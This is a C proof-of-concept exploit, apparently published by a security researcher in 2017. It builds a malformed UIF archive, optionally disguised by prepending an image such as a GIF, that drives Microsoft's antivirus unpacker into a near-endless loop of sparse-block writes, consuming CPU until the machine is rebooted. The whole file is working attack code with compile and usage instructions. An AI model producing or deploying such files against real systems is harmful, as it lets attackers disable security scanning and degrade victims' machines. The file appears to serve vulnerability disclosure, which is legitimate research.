#include <stdio.h>
|
#include <stdint.h>
|
#include <limits.h>
|
#include <zlib.h>
|
#include <err.h>
|
#include <stdbool.h>
|
#include <stdlib.h>
|
|
#pragma pack(1)
|
|
// The UIF (Universal Image Format) is a proprietary file format used by the
|
// old shareware utility MagicISO. Microsoft have a dedicated unpacker for UIF
|
// that runs as SYSTEM on all filesystem activity (!?!).
|
//
|
// The UIF format has an index structure at a fixed offset from the end of the
|
// file, with a pointer to contiguous block descriptions that describe how to
|
// reconstruct the output from data scattered throughout the file.
|
//
|
// I noticed that UIF has a "sparse" block type that just outputs chunks of nuls.
|
// Microsoft write them out like this:
|
//
|
// while (write(TempFile, Buffer, SectorSize) == SectorSize)
|
// BytesWritten += SectorSize;
|
//
|
// All of these parameters are read from the file, so you can make it spin
|
// creating this sparse data for as long as you want. This means you can
|
// make a file that takes as long as you want to scan, wasting as many cores as
|
// you want and you have to reboot to fix it.
|
//
|
// Compile:
|
// $ gcc -o uifspin uifspin.c -lz
|
//
|
// Usage:
|
// $ ./uifspin > testcase.txt
|
//
|
// (Or, you can provide a template file, and it will append a testcase to it)
|
//
|
// $ ./uifspin template.gif > testcase.gif
|
// $ file testcase.gif
|
// testcase.gif: GIF image data, version 89a, 400 x 300
|
//
|
// Tavis Ormandy <taviso@google.com>, May 2017
|
|
#define NUM_SPARSE_BLOCKS (1<<17) // Each block takes a few minutes to process.
|
#define MAX_COMPRESSED_SIZE 32768 // How much the compressed block data headers will need.
|
|
// Set the maximum sparse file size, in versions before 1.1.13701.0 the limit
|
// was INT_MAX. After 1.1.13701.0, the limit was changed to 0x1000000, but that
|
// still takes a long time to process.
|
//#define MAX_TEMPFILE_SIZE INT_MAX
|
#define MAX_TEMPFILE_SIZE 0x1000000
|
|
struct bbishdr {
|
uint32_t magic;
|
uint32_t size;
|
uint16_t ver;
|
uint16_t imagetype;
|
uint32_t field_C;
|
uint32_t sectors;
|
uint32_t sectorsize;
|
uint32_t lastdiff;
|
uint64_t blhr;
|
uint32_t blhrbbissz;
|
uint8_t hash[16];
|
uint32_t key[2];
|
};
|
|
struct blhrhdr {
|
uint32_t magic;
|
uint32_t size;
|
uint32_t compressed;
|
uint32_t numblocks;
|
};
|
|
struct blockdata {
|
uint64_t offset;
|
uint32_t zsize;
|
uint32_t sector;
|
uint32_t size;
|
uint32_t type;
|
};
|
|
static uint8_t zblockbuf[MAX_COMPRESSED_SIZE];
|
static struct blockdata blkdata[NUM_SPARSE_BLOCKS];
|
|
int main(int argc, char **argv)
|
{
|
struct bbishdr bbishdr = {0};
|
struct blhrhdr blhrhdr = {0};
|
z_stream zstream = {0};
|
FILE *template;
|
int i;
|
|
if (deflateInit2(&zstream,
|
Z_BEST_COMPRESSION,
|
Z_DEFLATED,
|
15,
|
MAX_MEM_LEVEL,
|
Z_DEFAULT_STRATEGY) != Z_OK) {
|
err(EXIT_FAILURE, "failed to initialize zlib library");
|
}
|
|
for (i = 0; i < NUM_SPARSE_BLOCKS; i++) {
|
blkdata[i].offset = 0;
|
blkdata[i].sector = 0; // vfo_seek(TempFile, bbishdr.sectorsize * blkdata.sector)
|
blkdata[i].size = MAX_TEMPFILE_SIZE; // vfo_write() will create this size file.
|
blkdata[i].type = 3; // Sparse chunk.
|
}
|
|
zstream.avail_in = sizeof(blkdata);
|
zstream.next_in = (void *) &blkdata;
|
zstream.avail_out = sizeof(zblockbuf);
|
zstream.next_out = zblockbuf;
|
|
if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
|
err(EXIT_FAILURE, "deflate() failed to create compressed payload, %s", zstream.msg);
|
}
|
|
if (deflateEnd(&zstream) != Z_OK) {
|
err(EXIT_FAILURE, "deflateEnd() returned failure, %s", zstream.msg);
|
}
|
|
blhrhdr.magic = ntohl('blhr');
|
blhrhdr.size = zstream.total_out;
|
blhrhdr.numblocks = NUM_SPARSE_BLOCKS;
|
bbishdr.magic = ntohl('bbis');
|
bbishdr.sectors = 1; // If blkdata[i].sector exceeds this, then fail.
|
bbishdr.sectorsize = 1; // This changes the size of each write(), smaller is slower.
|
bbishdr.blhr = 0; // File byte offset of blhr
|
|
// Optionally prepend a template file, e.g an image or document.
|
if (argv[1]) {
|
if ((template = fopen(argv[1], "r")) == NULL) {
|
err(EXIT_FAILURE, "failed to open template file %s", argv[1]);
|
}
|
|
while ((i = fgetc(template)) != EOF) {
|
bbishdr.blhr++;
|
fputc(i, stdout);
|
}
|
|
fclose(template);
|
}
|
|
fwrite(&blhrhdr, sizeof blhrhdr, 1, stdout);
|
fwrite(&zblockbuf, zstream.total_out, 1, stdout);
|
fwrite(&bbishdr, sizeof bbishdr, 1, stdout);
|
return 0;
|
}
|